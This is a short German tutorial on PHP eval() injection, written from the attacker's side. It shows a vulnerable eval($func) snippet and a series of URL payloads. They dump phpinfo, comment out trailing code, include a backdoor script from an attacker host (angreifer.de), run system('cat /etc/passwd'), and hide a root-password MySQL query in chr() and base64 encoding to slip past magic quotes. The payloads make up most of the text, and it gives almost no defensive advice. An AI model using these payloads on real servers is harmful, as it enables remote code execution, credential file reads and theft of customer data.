Bei der Eval Injection handelt es sich um eine Sicherheitslücke, bei der ein Angreifer beliebigen Code in ein PHP-Skript über einen Parameter in der URL oder eines Eingabefelds einschleusen kann.
Diese Sicherheitslücke entsteht, wenn der PHP-Befehl eval() verwendet und die Eingaben nicht ausreichend gefiltert werden.
Hier ist ein einfacher Beispielcode wie ein verwundbares Skript aussehen kann:
<? eval($func); ?>
Ein Angreifer kann jetzt mit folgenden Beispielen Code einschleusen:
seite.de/index.php?func=<?php phpinfo(); ?>oder:
seite.de/index.php?func=phpinfo(); (ohne Klammern)
In einigen Fällen muss man nachfolgenden php-Code auskommentieren, das macht man so:
seite.de/index.php?func=phpinfo();// seite.de/index.php?func=phpinfo();/* seite.de/index.php?func=phpinfo();%23Mit //, /* oder %23 kommentiert darauffolgenden php-Code aus. %23 ist das Hexzeichen für Raute, wenn man im Browser einfach die Raute hintendran schreibt funktioniert es nicht, weil der Browser das als Sprungmarke interpretieren würde.
Das ist ein relativ harmloses Beispiel, es werden einem nur einige Informationen über das System angezeigt.
Wesentlich gefährlicher ist das hier:
seite.de/index.php?func=include(http://angreifer.de/backdoor.txt);
Hier wird ein Skript von einem externen Host eingebunden und auf dem Zielsystem ausgeführt. Der Kreativität sind da keine Grenzen gesetzt. Damit das funktioniert muss URL-Inlcude in der php.ini aktiviert sein.
Wenn URL-Include nicht aktiviert ist, funktioniert noch dieses Beispiel:
seite.de/index.php?func=system("cat /etc/passwd");
Mit dem Befehl system() kann man jeden beliebigen Shell-Befehl auf dem Server ausführen.
Magic Quotes mit eval() umgehen:
Über eine Sicherheitslücke mit eval() kann man mit einem einfachen Trick Magic Quotes umgehen, wenn sie auf einem Server aktiviert sind.
PHP hat einen Befehl, mit dem Namen chr(). Wenn man in chr einen ASCII-Code eingibt, erhält man das entsprechende Zeichen zurück. Gibt man zum Beispiel "chr(104)" ein, erhält man den Buchstaben "h".
Ein Beispiel:
seite.de/index.php?func=system(chr(109).chr(121).chr(115).chr(113).chr(108).chr(32).chr(45).chr(101).chr(32).chr(34).chr(115).chr(104).chr(111).chr(119).chr(32).chr(116).chr(97).chr(98).chr(108).chr(101).chr(115).chr(34).chr(32).chr(45).chr(104).chr(32).chr(108).chr(111).chr(99).chr(97).chr(108).chr(104).chr(111).chr(115).chr(116).chr(32).chr(45).chr(68).chr(32).chr(107).chr(117).chr(110).chr(100).chr(101).chr(110).chr(32).chr(45).chr(117).chr(32).chr(114).chr(111).chr(111).chr(116).chr(32).chr(45).chr(112).chr(32).chr(49).chr(50).chr(51).chr(52).chr(53));
An die Funktion system() wurde folgendes übergeben:
mysql -e "show tables" -h localhost -D kunden -u root -p 12345
Mit dieser Eingabe werden über den MySQL-Client über den Benutzer "root" und dem Passwort "12345" die Tabellen der Datenbank "kunden" aufgelistet. Normalerweise würde vor jeden " ein Backslash gesetzt und der Parameter -e hätte eine ungültige Eingabe, mit chr() hat man aber den Server ausgetrickst.
Alternativ kann man das auch in base64 codieren.
seite.de/index.php?func=system(base64_decode(bXlzcWwgLWUgInNob3cgdGFibGVzIiAtaCBsb2NhbGhvc3QgLUQga3VuZGVuIC11IHJvb3QgLXAgMTIzNDU));